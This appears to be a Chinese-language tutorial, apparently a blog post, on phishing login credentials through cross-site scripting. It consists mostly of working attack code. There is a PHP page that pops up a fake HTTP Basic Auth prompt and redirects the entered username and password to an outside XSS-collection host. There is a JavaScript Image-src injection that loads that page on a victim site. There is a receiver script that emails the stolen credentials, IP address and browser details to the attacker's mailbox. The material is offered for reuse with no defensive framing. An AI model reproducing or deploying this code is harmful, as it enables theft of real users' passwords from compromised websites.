0x01
下面这个只是一个简单的要求输入用户-密码的弹框
<?php
error_reporting(0);
/* 检查变量 $PHP_AUTH_USER 和$PHP_AUTH_PW 的值*/
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
/* 空值:发送产生显示文本框的数据头部*/
header('WWW-Authenticate: Basic realm="'.addslashes(trim($_GET['info'])).'"');
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
/* 变量值存在,检查其是否正确 */
header("Location: http://lennyxss.sinaapp.com/index.php?do=api&id={$_GET[id]}&username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
0x02
之前一直在想怎么引入自己写的php文件,又不能上传到受害者的服务器上,结果没想到可以使用图片的src属性引入,那就很好办了,就是插入这么一段恶意代码:
x=new Image();
x.src="http://mysite.com/auth.php";
这里的auth.php就是我们伪造的恶意文件,这个文件的功能就是实现弹框
auth.php代码如下:
<?php
if($_SERVER['PHP_AUTH_PW'] =="" || $_SERVER['PHP_AUTH_USER'] =="" )
{
header('WWW-Authenticate: Basic realm="Basic Auth"');
header('HTTP/1.0 401 Unauthorized');
}
else{
$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
$fish = "username:".$user." password:".$pass;
header("location:http://mysite.com/x.php?c=$fish");
}
?>
这段代码中的header()函数就是实现一个重定向功能,并以get方式带上我们钓到的用户名以及密码,重定向的目标地址就是我们接下来要介绍的接收端,接收端代码如下:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET[c];
$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer:
".$referer."<br>Session: ".$data."<br><br><br>";
require("class.phpmailer.php");
$mail = new PHPMailer();
$mail->CharSet = "UTF-8";
$address ="[email protected]";//接收邮箱地址
$mail->IsSMTP(); // 使用SMTP方式发送
$mail->Host = "smtp.163.com"; // 您的邮箱域名
$mail->SMTPAuth = true; // 启用SMTP验证功能
$mail->Username = "[email protected]"; // 邮局用户名(请填写完整的email地址)
$mail->Password = "mailpwd"; // 邮局密码
$mail->Port=25;
$mail->From = "[email protected]"; //邮件发送者email地址
$mail->FromName = "Bemo-XSS success!";
$mail->AddAddress("$address", "a");
$mail->IsHTML(true); //是否使用HTML格式
$mail->Subject = "Bemo-XSS success!"; //邮件标题
$mail->Body = $text; //邮件内容,上面设置HTML,则可以是HTML
if(!$mail->Send())
{
echo "邮件发送失败. <p>";
echo "错误原因: " . $mail->ErrorInfo;
exit;
}
?>
上面的代码就是把我们接收到的数据直接发送到攻击者的邮箱(邮箱自行修改)